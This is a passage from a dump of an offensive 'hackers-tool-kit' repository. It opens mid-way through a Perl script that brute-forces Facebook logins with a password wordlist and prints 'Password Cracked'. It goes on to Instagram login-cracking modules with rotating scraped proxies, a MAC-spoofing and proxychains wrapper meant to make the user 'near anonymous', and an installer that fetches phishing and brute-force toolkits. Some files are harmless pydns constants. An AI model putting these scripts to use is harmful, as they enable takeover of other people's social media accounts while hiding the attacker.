Chrome/26.0.1410.63 Safari/537.31"; 73 | my $i = "Content-Type: application/x-www-form-urlencoded"; 74 | my $j = "Accept-Encoding: gzip,deflate,sdch"; 75 | my $k = "Accept-Language: en-US,en;q=0.8"; 76 | my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3"; 77 | 78 | my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa"; 79 | my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In"; 80 | my $cl = length($post); 81 | my $d = "Content-Length: $cl"; 82 | 83 | 84 | my ($host, $port) = ("www.facebook.com", 443); 85 | 86 | tie(*SSL, "Net::SSLeay::Handle", $host, $port); 87 | 88 | 89 | print SSL "$a\n"; 90 | print SSL "$b\n"; 91 | print SSL "$c\n"; 92 | print SSL "$d\n"; 93 | print SSL "$e\n"; 94 | print SSL "$f\n"; 95 | print SSL "$g\n"; 96 | print SSL "$h\n"; 97 | print SSL "$i\n"; 98 | print SSL "$j\n"; 99 | print SSL "$k\n"; 100 | print SSL "$l\n"; 101 | print SSL "$cookie\n\n"; 102 | 103 | print SSL "$post\n"; 104 | 105 | my $success; 106 | while(my $result = ){ 107 | if($result =~ /Location(.*?)/){ 108 | $success = $1; 109 | } 110 | } 111 | if (!defined $success) 112 | { 113 | print "[-] Trying -> $password \n"; 114 | close SSL; 115 | } 116 | else 117 | { 118 | print "\n########################################################\n"; 119 | print "[+] Password Cracked => $password \n"; 120 | print "########################################################\n\n"; 121 | close SSL; 122 | exit; 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /htk-lite/htklupdate.py: -------------------------------------------------------------------------------- 1 | import os 2 | print "UPDATING..." 3 | os.system("cd") 4 | os.system('cd /root/ && rm -fr htk-lite && git clone https://github.com/unkn0wnh4ckr/htk-lite && echo "[UPDATED]: Restart Your Terminal"') 5 | -------------------------------------------------------------------------------- /htk-lite/wordlists/example.txt: -------------------------------------------------------------------------------- 1 | password 2 | 123456 3 | 123 4 | password123 5 | admin 6 | root 7 | toor 8 | username 9 | qwerty 10 | PASSWORD 11 | -------------------------------------------------------------------------------- /htksecure.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | print "--------------------------------------------------------------------------------------------------" 4 | print """\033[93m!WELCOME TO THE SECURE VERSION OF HACKERS-TOOL-IT WHAT THIS MEANS IS THAT 5 | THE HACKERS-TOOL-KIT WILL BE RUN WITH PROXYCHAINS AND OTHER TOOLS MAKING YOU NEAR ANONYMOUS EXITING 6 | THE TERMINAL SHOULD STOP THE PROXYCHAINS NOTE SOME STUFF MIGHT NOT WORK OR MIGHT BE SLOW DUE TO THE 7 | PROXYCHAINS YOU HAVE TO HAVE YOUR PROXYCHAINS CONFIG FILE ALREADY SETUP TO USE THIS!\033[0m""" 8 | print "--------------------------------------------------------------------------------------------------" 9 | print "\n" 10 | print "\033[92mWould you like to continue? y or n\033[0m" 11 | h = raw_input("?: ") 12 | if h == "n": 13 | print "follow \033[92m@tuf_unkn0wn\033[0m on instagram" 14 | sys.exit() 15 | if h == "y": 16 | print "\033[93m------------------------\033[0m" 17 | print "\nSTARTING MACCHANGER\n" 18 | print "\033[93m------------------------\033[0m" 19 | os.system("iwconfig") 20 | k = raw_input("Interface: ") 21 | c = 'ifconfig {0} down'.format(k) 22 | os.system(c) 23 | os.system("macchanger -r " + k) 24 | s = 'ifconfig {0} up'.format(k) 25 | os.system(s) 26 | show = 'macchanger -s {0}'.format(k) 27 | os.system(show) 28 | print "\nSTARTING HTK WITH PROXYCHAINS\n" 29 | os.system("proxychains python /root/hackers-tool-kit/htk.py") 30 | print "\033[93m------------------------\033[0m" 31 | print "\nSTOPPING MACCHANGER\n" 32 | print "\033[93m------------------------\033[0m" 33 | os.system("iwconfig") 34 | k = raw_input("Interface: ") 35 | c = 'ifconfig {0} down'.format(k) 36 | os.system(c) 37 | os.system("macchanger -p " + k) 38 | s = 'ifconfig {0} up'.format(k) 39 | os.system(s) 40 | -------------------------------------------------------------------------------- /htkupdate.py: -------------------------------------------------------------------------------- 1 | import os 2 | print "UPDATING..." 3 | os.system("cd") 4 | os.system('cd /root/ && rm -fr hackers-tool-kit && git clone https://github.com/unkn0wnh4ckr/hackers-tool-kit && echo "[UPDATED]: Restart Your Terminal"') -------------------------------------------------------------------------------- /install.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | print """\033[93m 4 | 5 | THIS SCRIPT IS OUTDATED AND THE INSTALL IS BROKEN 6 | I HAVE A SCRIPT THAT IS BETTER AND NEWER CALLED HTK-LITE 7 | \033[0m 8 | """ 9 | x = raw_input("") 10 | def install(): 11 | os.system("apt update") 12 | os.system("apt install python-tk") 13 | os.system("apt install dirb -y") 14 | os.system("apt install sslstrip -y") 15 | os.system("apt install bettercap -y") 16 | os.system("apt install sslscan -y") 17 | os.system("apt install crunch -y") 18 | os.system("apt install tcpdump -y") 19 | os.system("apt install macchanger -y") 20 | os.system("apt install wafw00f -y") 21 | os.system("apt install medusa -y") 22 | os.system("cd /root && git clone https://github.com/thelinuxchoice/shellphish") 23 | os.system("cd /root && git clone https://github.com/1N3/BruteX") 24 | os.system("cd /root/BruteX && ./install.sh") 25 | os.system("pip install mechanize") 26 | os.system("pip install json") 27 | os.system("pip install whois") 28 | os.system("pip install python-whois") 29 | os.system("pip install requests") 30 | os.system("pip install bs4") 31 | os.system("pip install tkinter") 32 | os.system("pip install requests[socks]") 33 | os.system("pip install urlparse") 34 | os.system("pip install cookielib") 35 | os.system("pip install scapy") 36 | os.system("pip install datetime") 37 | os.system("pip install argparse") 38 | os.system("pip install re") 39 | os.system("pip install threading") 40 | os.system("pip install urllib2") 41 | os.system("pip install modules") 42 | os.system("pip install builtwith") 43 | os.system("pip install smtplib") 44 | os.system("pip install whois") 45 | os.system("pip install builtwith") 46 | os.system("pip install colorama") 47 | os.system("pip install dnspython") 48 | os.system("pip install shodan") 49 | os.system("apt install python-socks -y") 50 | os.system("apt install nmap -y") 51 | os.system("apt install php -y") 52 | os.system("apt install perl -y") 53 | os.system("apt install hashcat -y") 54 | os.system("apt install nc -y") 55 | os.system("apt install neofetch -y") 56 | os.system("apt install cupp -y") 57 | os.system("gem install lolcat") 58 | os.system("cd /root/ && git clone https://github.com/Und3rf10w/kali-anonsurf") 59 | os.system("cd /root/kali-anonsurf && ./installer.sh") 60 | print "\n" 61 | print """entering big download region prepare you anus 62 | if your not ready press ctrl C """ 63 | i = raw_input("press ctrl c to stop hit enter to continue") 64 | os.system("apt install metasploit-framework -y") 65 | os.system("cd && git clone https://github.com/trustedsec/social-engineer-toolkit") 66 | os.system("apt install wifite -y") 67 | os.system("apt install reaver -y") 68 | os.system("apt install aircrack-ng -y") 69 | os.system("cd /root/social-engineer-toolkit && pip2 install -r requirements.txt") 70 | os.system("python /root/social-engineer-toolkit/setup.py install") 71 | install() 72 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/const.py: -------------------------------------------------------------------------------- 1 | # Date: 05/05/2018 2 | # Author: Pure-L0G1C 3 | # Description: Consts 4 | 5 | credentials = 'accounts.txt' 6 | 7 | # limits 8 | max_fails = 8 9 | fetch_time = (5, 10) 10 | max_proxy_usage = 16 11 | 12 | # Instagram's details 13 | instagram_username_field = 'username' 14 | instagram_password_field = 'password' 15 | home_url = 'https://www.instagram.com/' 16 | login_url = 'https://www.instagram.com/accounts/login/ajax/' 17 | 18 | site_details = { 19 | 'name':'Instagram', 20 | 'home_url': home_url, 21 | 'login_url': login_url, 22 | 'username_field': instagram_username_field, 23 | 'password_field': instagram_password_field, 24 | 'header': { 'Referer': 'https://www.instagram.com', 'Connection': 'close' } 25 | } -------------------------------------------------------------------------------- /lib/queue.py: -------------------------------------------------------------------------------- 1 | # Date: 05/03/2018 2 | # Author: Pure-L0G1C 3 | # Description: Proxy scraper 4 | 5 | from requests import get 6 | from bs4 import BeautifulSoup as bs 7 | 8 | class Queue(object): 9 | 10 | def __init__(self): 11 | self.queue = [] 12 | 13 | def put(self, item): 14 | if not item in self.queue: 15 | self.queue.append(item) 16 | 17 | def get(self): 18 | if self.qsize: 19 | return self.queue.pop(0) 20 | 21 | @property 22 | def qsize(self): 23 | return len(self.queue) -------------------------------------------------------------------------------- /lib/scraper.py: -------------------------------------------------------------------------------- 1 | # Date: 05/03/2018 2 | # Author: Pure-L0G1C 3 | # Description: Proxy scraper 4 | 5 | from requests import get 6 | from bs4 import BeautifulSoup as bs 7 | 8 | class Queue(object): 9 | 10 | def __init__(self): 11 | self.queue = [] 12 | 13 | def put(self, item): 14 | if not item in self.queue: 15 | self.queue.append(item) 16 | 17 | def get(self): 18 | if self.qsize: 19 | return self.queue.pop(0) 20 | 21 | @property 22 | def qsize(self): 23 | return len(self.queue) 24 | 25 | class Scraper(object): 26 | 27 | def __init__(self): 28 | self.anony_proxis = 'https://free-proxy-list.net/anonymous-proxy.html' 29 | self.new_proxies = 'https://free-proxy-list.net' 30 | self.socks_proxies = 'https://socks-proxy.net' 31 | self.ssl_proxies = 'https://sslproxies.org' 32 | self.isAlive = False 33 | self.protocol = None 34 | self.country = None 35 | self.proxies = None 36 | self.maxSize = None 37 | self.port = None 38 | 39 | def parse(self, proxy, ssl=False): 40 | if not self.isAlive:return 41 | detail = {'ip': proxy[0].string, 'port': proxy[1].string, 42 | 'protocol': 'SSL' if ssl else proxy[4].string, 43 | 'anonymity': proxy[4 if ssl else 5].string, 44 | 'country': proxy[3].string, 45 | 'updated': proxy[7].string, 46 | 'https': proxy[6].string} 47 | 48 | if all([self.protocol, self.country, self.port]): 49 | if detail['protocol'].lower() == self.protocol.lower(): 50 | if detail['country'].lower() == self.country.lower(): 51 | if detail['port'] == self.port: 52 | return detail 53 | elif all([self.protocol, self.country]): 54 | if detail['protocol'].lower() == self.protocol.lower(): 55 | if detail['country'].lower() == self.country.lower(): 56 | return detail 57 | elif all([self.protocol, self.port]): 58 | if detail['protocol'].lower() == self.protocol.lower(): 59 | if detail['port'] == self.port: 60 | return detail 61 | elif all([self.country, self.port]): 62 | if detail['country'].lower() == self.country.lower(): 63 | if detail['port'].lower() == self.port: 64 | return detail 65 | elif self.protocol: 66 | return None if detail['protocol'].lower() != self.protocol.lower() else detail 67 | elif self.country: 68 | return None if detail['country'].lower() != self.country.lower() else detail 69 | elif self.port: 70 | return None if detail['port'] != self.port else detail 71 | else: 72 | return detail 73 | 74 | def fetch(self, url, ssl=False): 75 | try:proxies = bs(get(url).text, 'html.parser').find('tbody').findAll('tr') 76 | except KeyboardInterrupt:self.isAlive = False;return 77 | except:return 78 | 79 | for proxy in proxies: 80 | if not self.isAlive:break 81 | data = self.parse(proxy.findAll('td'), ssl) 82 | if data: 83 | if self.maxSize: 84 | if self.proxies.qsize < self.maxSize: 85 | self.proxies.put(data) 86 | else:break 87 | else: 88 | self.proxies.put(data) 89 | 90 | def scrape(self, size=None, port=None, protocol=None, country=None, 91 | new_proxies=False, anony_proxies=False, socks_proxies=False, ssl_proxies=False): 92 | self.port = str(port) if port else None 93 | self.protocol = protocol 94 | self.country = country 95 | self.proxies = Queue() 96 | self.maxSize = None 97 | self.isAlive = True 98 | self.isAlive = True 99 | self.maxSize = size 100 | 101 | if protocol: 102 | if all([protocol.lower() != 'ssl', protocol.lower() != 'socks4', protocol.lower() != 'socks5']): 103 | print('Only Supporting SSL & Socks protocol') 104 | return 105 | 106 | if all([self.isAlive, new_proxies]): 107 | self.fetch(self.new_proxies) 108 | 109 | if all([self.isAlive, anony_proxies]): 110 | self.fetch(self.anony_proxis) 111 | 112 | if all([self.isAlive, socks_proxies]): 113 | self.fetch(self.socks_proxies) 114 | 115 | if all([self.isAlive, ssl_proxies]): 116 | self.fetch(self.ssl_proxies, True) 117 | 118 | proxies = self.proxies 119 | self.proxies = Queue() 120 | return proxies 121 | -------------------------------------------------------------------------------- /lib/session.py: -------------------------------------------------------------------------------- 1 | # Date: 05/05/2018 2 | # Author: Pure-L0G1C 3 | # Description: Session Handler 4 | 5 | from os import remove 6 | from os.path import exists as path 7 | from csv import DictWriter, DictReader 8 | 9 | class Session(object): 10 | def __init__(self, username, passlist): 11 | self.file = '.{}_{}.csv'.format(username, passlist.replace('\\', '_').replace('/', '_')) 12 | 13 | def exists(self): 14 | return path(self.file) 15 | 16 | def read(self): 17 | with open(self.file, 'r') as csvfile: 18 | session = DictReader(csvfile, delimiter = ',') 19 | try:return [_ for _ in session][0] 20 | except:pass 21 | 22 | def write(self, attempts, queue): 23 | if not attempts:return 24 | with open(self.file, 'w') as csvfile: 25 | fieldnames = ['attempts', 'queue'] 26 | writer = DictWriter(csvfile, fieldnames=fieldnames) 27 | 28 | writer.writeheader() 29 | writer.writerow({ 'attempts': attempts, 'queue': queue }) 30 | 31 | def delete(self): 32 | if path(self.file): 33 | try:remove(self.file) 34 | except:pass -------------------------------------------------------------------------------- /lib/spyder.py: -------------------------------------------------------------------------------- 1 | # Date: 05/05/2018 2 | # Author: Pure-L0G1C 3 | # Description: Browser Manager 4 | 5 | from requests import Session 6 | from .const import site_details 7 | from .scraper import Scraper, Queue 8 | 9 | class Spyder(object): 10 | 11 | def __init__(self): 12 | self.proxy = None 13 | self.isAlive = True 14 | self.proxy_info = None 15 | self.proxies = Queue() 16 | self.scraper = Scraper() 17 | 18 | def proxy_manager(self): 19 | while self.isAlive: 20 | while all([self.isAlive, self.proxies.qsize]):pass 21 | if not self.isAlive:break 22 | 23 | self.proxies = self.scraper.scrape(ssl_proxies=True) 24 | [self.proxies.put(proxy) for proxy in self.scraper.scrape(new_proxies=True).queue if self.isAlive] 25 | 26 | @property 27 | def br(self): 28 | session = Session() 29 | session.proxies.update(self.proxy) 30 | session.headers.update(site_details['header']) 31 | return session 32 | 33 | def renew_proxy(self, n=10): 34 | _proxy = self.proxies.get() 35 | addr = 'http://{}:{}'.format(_proxy['ip'], _proxy['port']) 36 | proxy = { 'http': addr, 'https': addr } 37 | 38 | if self.proxy: 39 | if all([self.proxy == proxy, self.proxies.qsize, n]): 40 | self.renew_proxy(n-1) 41 | self.proxy_info = _proxy 42 | self.proxy = proxy 43 | 44 | def ip_addr(self): 45 | try: 46 | return self.proxy['http'].split(':')[1][2:] 47 | except:pass 48 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from colors import * 4 | from functions import * 5 | from banner import banner as Banner 6 | -------------------------------------------------------------------------------- /modules/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/modules/__init__.pyc -------------------------------------------------------------------------------- /modules/banner.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from colors import * 4 | 5 | banner = r + """ 6 | 7 | 8 | ██╗ ██╗███████╗██████╗ ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ 9 | ██║ ██║██╔════╝██╔══██╗██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ 10 | ██║ █╗ ██║█████╗ ██████╔╝█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ 11 | ██║███╗██║██╔══╝ ██╔══██╗██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗ 12 | ╚███╔███╔╝███████╗██████╔╝██║ ██╗██║███████╗███████╗███████╗██║ ██║ 13 | ╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝ 14 | ==================================================================== 15 | ** WebSite : UltraSec.org ** 16 | ** Channel : @UltraSecurity ** 17 | ** Developers : Ashkan Moghaddas , Milad Ranjbar ** 18 | ** Team Members : Abolfaz Hajizadeh , MrQadir ** 19 | ** ** 20 | ==================================================================== 21 | """ + g 22 | -------------------------------------------------------------------------------- /modules/banner.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/modules/banner.pyc -------------------------------------------------------------------------------- /modules/colors.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from colorama import init,Fore,Back,Style 4 | import os 5 | 6 | 7 | if os.name == "posix": 8 | # colors foreground text: 9 | fc = "\033[0;96m" 10 | fg = "\033[0;92m" 11 | fw = "\033[0;97m" 12 | fr = "\033[0;91m" 13 | fb = "\033[0;94m" 14 | fy = "\033[0;33m" 15 | fm = "\033[0;35m" 16 | 17 | # colors background text: 18 | bc = "\033[46m" 19 | bg = "\033[42m" 20 | bw = "\033[47m" 21 | br = "\033[41m" 22 | bb = "\033[44m" 23 | by = "\033[43m" 24 | bm = "\033[45m" 25 | 26 | # colors style text: 27 | sd = Style.DIM 28 | sn = Style.NORMAL 29 | sb = Style.BRIGHT 30 | 31 | c = fc + sb 32 | g = fg + sb 33 | w = fw + sb 34 | r = fr + sb 35 | b = fb + sb 36 | y = fy + sb 37 | m = fm + sb 38 | else: 39 | init(autoreset=True) 40 | # colors foreground text: 41 | fc = Fore.CYAN 42 | fg = Fore.GREEN 43 | fw = Fore.WHITE 44 | fr = Fore.RED 45 | fb = Fore.BLUE 46 | fy = Fore.YELLOW 47 | fm = Fore.MAGENTA 48 | 49 | 50 | # colors background text: 51 | bc = Back.CYAN 52 | bg = Back.GREEN 53 | bw = Back.WHITE 54 | br = Back.RED 55 | bb = Back.BLUE 56 | by = Fore.YELLOW 57 | bm = Fore.MAGENTA 58 | 59 | # colors style text: 60 | sd = Style.DIM 61 | sn = Style.NORMAL 62 | sb = Style.BRIGHT 63 | 64 | c = fc + sb 65 | g = fg + sb 66 | w = fw + sb 67 | r = fr + sb 68 | b = fb + sb 69 | y = fy + sb 70 | m = fm + sb -------------------------------------------------------------------------------- /modules/colors.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/modules/colors.pyc -------------------------------------------------------------------------------- /modules/footer.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/modules/footer.pyc -------------------------------------------------------------------------------- /modules/functions.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from modules.colors import * 4 | import requests 5 | import re 6 | 7 | _headers = { 8 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', 9 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 10 | 'Accept-Encoding': 'gzip,deflate,sdch', 11 | 'Accept-Language': 'en-US,en;q=0.8', 12 | 'Connection': 'keep-alive' 13 | } 14 | 15 | empty_Website = "\n\t{red}[+] Please Enter A Website :/\n\t\t".format(red=r, cyan=c) 16 | 17 | wrong_URL = "\n\t{red}[-] Please Enter a Valid And Correct URL (i.e, google.com)\n\t\t".format(red=r) 18 | 19 | str_Index = "\n\t{red}[-] Please Input a Integer (i.e, 1, 2, 3) :\\\n\t\t".format(red=r) 20 | 21 | val_Select = "\t{}[-] Please Use The Index Value From The List\n\t\t[+] Not By Your Own :/\n\t\t\t \n".format(r) 22 | 23 | def webNotEmpty(website): 24 | 25 | if len(website) >= 1: 26 | return "valid" 27 | else: 28 | return "!valid" 29 | 30 | def validWebsite(website): 31 | 32 | web = webNotEmpty(website) 33 | if web is "valid": 34 | if not (re.match(r"(^(http://|https://)?([a-z0-9][a-z0-9-]*\.)+[a-z0-9][a-z0-9-]*$)", website)): 35 | exit(wrong_URL) 36 | else: 37 | exit(empty_Website) 38 | 39 | def cleanURL(website): 40 | 41 | web = validWebsite(website) 42 | website = website.replace("http://", "") 43 | website = website.replace("http://www.", "") 44 | website = website.replace("https://", "") 45 | website = website.replace("https://www.", "") 46 | website = website.replace("www.", ""); return(website) 47 | 48 | def removeHTTP(website): 49 | 50 | website = cleanURL(website); return(website) 51 | 52 | def addHTTP(website): 53 | 54 | website = cleanURL(website) 55 | website = ("http://" + website); return(website) 56 | 57 | def write(var, color, data): 58 | if var == None: 59 | print(color + str(data)) 60 | elif var != None: 61 | print("{white}[{cyan}" + var + "{white}] " + color + str(data)).format( 62 | white=w, cyan=c 63 | ) 64 | 65 | def Request(website, _timeout=None, _encode=None): 66 | 67 | try: 68 | if _encode == None: 69 | return requests.get(website, headers=_headers, timeout=_timeout).content 70 | elif _encode == True: 71 | return requests.get(website, headers=_headers, timeout=_timeout).text.encode('utf-8') 72 | except requests.exceptions.MissingSchema: 73 | pass 74 | except requests.exceptions.ContentDecodingError: 75 | pass 76 | except requests.exceptions.ConnectionError: 77 | return fg + sb + "\n[-] Error: Sorry! You Enter A Wrong Website Or Website Is Off" 78 | pass 79 | except Exception as e: 80 | return fc + sb + "[-] Error: " + fg + sb + str(e) 81 | pass -------------------------------------------------------------------------------- /modules/functions.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/modules/functions.pyc -------------------------------------------------------------------------------- /plugins/DNSDumpsterAPI.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/DNSDumpsterAPI.pyc -------------------------------------------------------------------------------- /plugins/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /plugins/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/__init__.pyc -------------------------------------------------------------------------------- /plugins/discovery/DNS/Base.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/DNS/Base.pyc -------------------------------------------------------------------------------- /plugins/discovery/DNS/Class.py: -------------------------------------------------------------------------------- 1 | """ 2 | $Id: Class.py,v 1.6 2002/04/23 12:52:19 anthonybaxter Exp $ 3 | 4 | This file is part of the pydns project. 5 | Homepage: http://pydns.sourceforge.net 6 | 7 | This code is covered by the standard Python License. 8 | 9 | CLASS values (section 3.2.4) 10 | """ 11 | 12 | 13 | IN = 1 # the Internet 14 | CS = 2 # the CSNET class (Obsolete - used only for examples in 15 | # some obsolete RFCs) 16 | CH = 3 # the CHAOS class. When someone shows me python running on 17 | # a Symbolics Lisp machine, I'll look at implementing this. 18 | HS = 4 # Hesiod [Dyer 87] 19 | 20 | # QCLASS values (section 3.2.5) 21 | 22 | ANY = 255 # any class 23 | 24 | 25 | # Construct reverse mapping dictionary 26 | 27 | _names = dir() 28 | classmap = {} 29 | for _name in _names: 30 | if _name[0] != '_': 31 | classmap[eval(_name)] = _name 32 | 33 | 34 | def classstr(klass): 35 | if klass in classmap: 36 | return classmap[klass] 37 | else: 38 | return repr(klass) 39 | 40 | # 41 | # $Log: Class.py,v $ 42 | # Revision 1.6 2002/04/23 12:52:19 anthonybaxter 43 | # cleanup whitespace. 44 | # 45 | # Revision 1.5 2002/03/19 12:41:33 anthonybaxter 46 | # tabnannied and reindented everything. 4 space indent, no tabs. 47 | # yay. 48 | # 49 | # Revision 1.4 2002/03/19 12:26:13 anthonybaxter 50 | # death to leading tabs. 51 | # 52 | # Revision 1.3 2001/08/09 09:08:55 anthonybaxter 53 | # added identifying header to top of each file 54 | # 55 | # Revision 1.2 2001/07/19 06:57:07 anthony 56 | # cvs keywords added 57 | # 58 | # 59 | -------------------------------------------------------------------------------- /plugins/discovery/DNS/Class.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/DNS/Class.pyc -------------------------------------------------------------------------------- /plugins/discovery/DNS/Lib.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/DNS/Lib.pyc -------------------------------------------------------------------------------- /plugins/discovery/DNS/Opcode.py: -------------------------------------------------------------------------------- 1 | """ 2 | $Id: Opcode.py,v 1.6 2002/04/23 10:51:43 anthonybaxter Exp $ 3 | 4 | This file is part of the pydns project. 5 | Homepage: http://pydns.sourceforge.net 6 | 7 | This code is covered by the standard Python License. 8 | 9 | Opcode values in message header. RFC 1035, 1996, 2136. 10 | """ 11 | 12 | 13 | QUERY = 0 14 | IQUERY = 1 15 | STATUS = 2 16 | NOTIFY = 4 17 | UPDATE = 5 18 | 19 | # Construct reverse mapping dictionary 20 | 21 | _names = dir() 22 | opcodemap = {} 23 | for _name in _names: 24 | if _name[0] != '_': 25 | opcodemap[eval(_name)] = _name 26 | 27 | 28 | def opcodestr(opcode): 29 | if opcode in opcodemap: 30 | return opcodemap[opcode] 31 | else: 32 | return repr(opcode) 33 | 34 | # 35 | # $Log: Opcode.py,v $ 36 | # Revision 1.6 2002/04/23 10:51:43 anthonybaxter 37 | # Added UPDATE, NOTIFY. 38 | # 39 | # Revision 1.5 2002/03/19 12:41:33 anthonybaxter 40 | # tabnannied and reindented everything. 4 space indent, no tabs. 41 | # yay. 42 | # 43 | # Revision 1.4 2002/03/19 12:26:13 anthonybaxter 44 | # death to leading tabs. 45 | # 46 | # Revision 1.3 2001/08/09 09:08:55 anthonybaxter 47 | # added identifying header to top of each file 48 | # 49 | # Revision 1.2 2001/07/19 06:57:07 anthony 50 | # cvs keywords added 51 | # 52 | # 53 | -------------------------------------------------------------------------------- /plugins/discovery/DNS/Opcode.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/DNS/Opcode.pyc -------------------------------------------------------------------------------- /plugins/discovery/DNS/Status.py: -------------------------------------------------------------------------------- 1 | """ 2 | $Id: Status.py,v 1.7 2002/04/23 12:52:19 anthonybaxter Exp $ 3 | 4 | This file is part of the pydns project. 5 | Homepage: http://pydns.sourceforge.net 6 | 7 | This code is covered by the standard Python License. 8 | 9 | Status values in message header 10 | """ 11 | 12 | NOERROR = 0 # No Error [RFC 1035] 13 | FORMERR = 1 # Format Error [RFC 1035] 14 | SERVFAIL = 2 # Server Failure [RFC 1035] 15 | NXDOMAIN = 3 # Non-Existent Domain [RFC 1035] 16 | NOTIMP = 4 # Not Implemented [RFC 1035] 17 | REFUSED = 5 # Query Refused [RFC 1035] 18 | YXDOMAIN = 6 # Name Exists when it should not [RFC 2136] 19 | YXRRSET = 7 # RR Set Exists when it should not [RFC 2136] 20 | NXRRSET = 8 # RR Set that should exist does not [RFC 2136] 21 | NOTAUTH = 9 # Server Not Authoritative for zone [RFC 2136] 22 | NOTZONE = 10 # Name not contained in zone [RFC 2136] 23 | BADVERS = 16 # Bad OPT Version [RFC 2671] 24 | BADSIG = 16 # TSIG Signature Failure [RFC 2845] 25 | BADKEY = 17 # Key not recognized [RFC 2845] 26 | BADTIME = 18 # Signature out of time window [RFC 2845] 27 | BADMODE = 19 # Bad TKEY Mode [RFC 2930] 28 | BADNAME = 20 # Duplicate key name [RFC 2930] 29 | BADALG = 21 # Algorithm not supported [RFC 2930] 30 | 31 | # Construct reverse mapping dictionary 32 | 33 | _names = dir() 34 | statusmap = {} 35 | for _name in _names: 36 | if _name[0] != '_': 37 | statusmap[eval(_name)] = _name 38 | 39 | 40 | def statusstr(status): 41 | if status in statusmap: 42 | return statusmap[status] 43 | else: 44 | return repr(status) 45 | 46 | # 47 | # $Log: Status.py,v $ 48 | # Revision 1.7 2002/04/23 12:52:19 anthonybaxter 49 | # cleanup whitespace. 50 | # 51 | # Revision 1.6 2002/04/23 10:57:57 anthonybaxter 52 | # update to complete the list of response codes. 53 | # 54 | # Revision 1.5 2002/03/19 12:41:33 anthonybaxter 55 | # tabnannied and reindented everything. 4 space indent, no tabs. 56 | # yay. 57 | # 58 | # Revision 1.4 2002/03/19 12:26:13 anthonybaxter 59 | # death to leading tabs. 60 | # 61 | # Revision 1.3 2001/08/09 09:08:55 anthonybaxter 62 | # added identifying header to top of each file 63 | # 64 | # Revision 1.2 2001/07/19 06:57:07 anthony 65 | # cvs keywords added 66 | # 67 | # 68 | -------------------------------------------------------------------------------- /plugins/discovery/DNS/Status.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/DNS/Status.pyc -------------------------------------------------------------------------------- /plugins/discovery/DNS/Type.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/DNS/Type.py -------------------------------------------------------------------------------- /plugins/discovery/DNS/Type.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/DNS/Type.pyc -------------------------------------------------------------------------------- /plugins/discovery/DNS/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- encoding: utf-8 -*- 2 | # $Id: __init__.py,v 1.8.2.2 2007/05/22 21:06:52 customdesigned Exp $ 